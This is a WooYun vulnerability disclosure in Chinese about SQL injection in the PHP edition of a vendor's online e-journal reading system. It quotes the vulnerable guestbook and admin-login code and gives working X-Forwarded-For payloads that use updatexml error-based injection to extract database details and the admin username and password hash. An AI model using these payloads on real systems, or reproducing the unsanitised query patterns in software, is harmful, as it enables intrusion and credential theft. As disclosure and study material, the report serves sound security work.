当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-077720

漏洞标题:万众电子期刊在线阅读系统PHP版本多处注入

相关厂商:wwzzs.com

漏洞作者: 路人甲

提交时间:2014-09-30 15:53

修复时间:2014-10-05 15:56

公开时间:2014-10-05 15:56

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-30: 细节已通知厂商并且等待厂商处理中
2014-10-05: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

多处注入......这个程序...太强悍了

详细说明:

在留言板里面看到

<?php
if ($_GET['action']=='addgbook'){
$id=$_GET['id'];
$username=function_cleanstr($_POST['username']);
$gbooktext=function_cleanstr($_POST['gbooktext']);
$time=date('Y年m月d日 H:i',time());
$ip=function_getRealIp();//获取用户的IP地址
if($username==''){
function_alert('请留下您的大名!', '');
}
if($gbooktext=='' || $gbooktext=='文明上网,理性发言!'){
function_alert('留言内容不能为空!', '');
}
if(!function_strlen($username,3,10)){
function_alert('你的姓名必须介于3~10个字符!', '');
}
if(!function_strlen($gbooktext,15,144)){
function_alert('留言内容必须介于15~144个字符!', '');
}
_insert("INSERT INTO magacms_gbook(username,time,text,magaid,ip) VALUES ('$username','$time','$gbooktext','$id','$ip')"); //直接插入数据库了
function_alert('', '?id='.$id);
}
?>


再跟下function_getRealIp函数
/includes/other.fun.php

function function_getRealIp() {
$ip = false;
if (!empty($_SERVER["HTTP_CLIENT_IP"])) {
$ip = $_SERVER["HTTP_CLIENT_IP"];
}
if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ips = explode(", ", $_SERVER['HTTP_X_FORWARDED_FOR']);
if ($ip) {
array_unshift($ips, $ip);
$ip = FALSE;
}
for ($i = 0; $i < count($ips); $i++) {
if (!@eregi("^(10│172.16│192.168).", $ips[$i])) {
$ip = $ips[$i];
break;
}
}
}
return ($ip ? $ip : $_SERVER['REMOTE_ADDR']);
}


再有/admin/includes/global.fun.php

//登录判断
function function_login() {
session_start();
function_safety();
$username = function_cleanstr($_POST['username']);
$password = md5($_POST['password']);
$code = md5(strtoupper($_POST['code']));
if ($username == '' or $password == '') {
function_alert('用户名和密码不能为空!', 'index.php');
}
if ($code != $_SESSION['code']) {
function_alert('验证码错误!', 'index.php');
}
if (!_query("SELECT * FROM magacms_user WHERE username='$username' AND password='$password' LIMIT 1")) {
function_alert('用户名和密码错误!', 'index.php');
}
$intime = date('Y-m-d H:i:s', time());
$inip = function_getRealIp();
// setcookie('username', md5($username)); //采用cookie记忆登录状态
$_SESSION['username'] = $username; //采用session记忆登录状态
_update("UPDATE magacms_user SET intime='$intime',inip='$inip' WHERE username='$username'");
function_alert('', 'admin_main.php');
}


然后我们本地测试下

<?php
//获取客户端IP
function function_getRealIp() {
$ip = false;
if (!empty($_SERVER["HTTP_CLIENT_IP"])) {
$ip = $_SERVER["HTTP_CLIENT_IP"];
}
if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ips = explode(", ", $_SERVER['HTTP_X_FORWARDED_FOR']);
if ($ip) {
array_unshift($ips, $ip);
$ip = FALSE;
}
for ($i = 0; $i < count($ips); $i++) {
if (!@eregi("^(10│172.16│192.168).", $ips[$i]))//检查内网 {
$ip = $ips[$i];
break;
}
}
}
return ($ip ? $ip : $_SERVER['REMOTE_ADDR']);
}
$ip=function_getRealIp();
echo $ip;
?>


仅仅是监测了内网,然后我试试222.222.222.222'and 1=1

11.png


直接的输出了。那么就可以直接注入了

漏洞证明:

利用插件设置X-Forwarded-For为222.222.222.222'or updatexml(1,concat(0x3a,concat(database(),0x3a,user(),0x3a,version())),0) or'
我们再提交留言

19.png


再设置X-Forwarded-For为222.222.222.222'or updatexml(1,concat(0x3a,(select concat(username,0x3a,password)from magacms_user limit 1)),0) or'
我们再提交留言

20.png


修复方案:

无他,过滤而已...

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-10-05 15:56

厂商回复:

最新状态:

暂无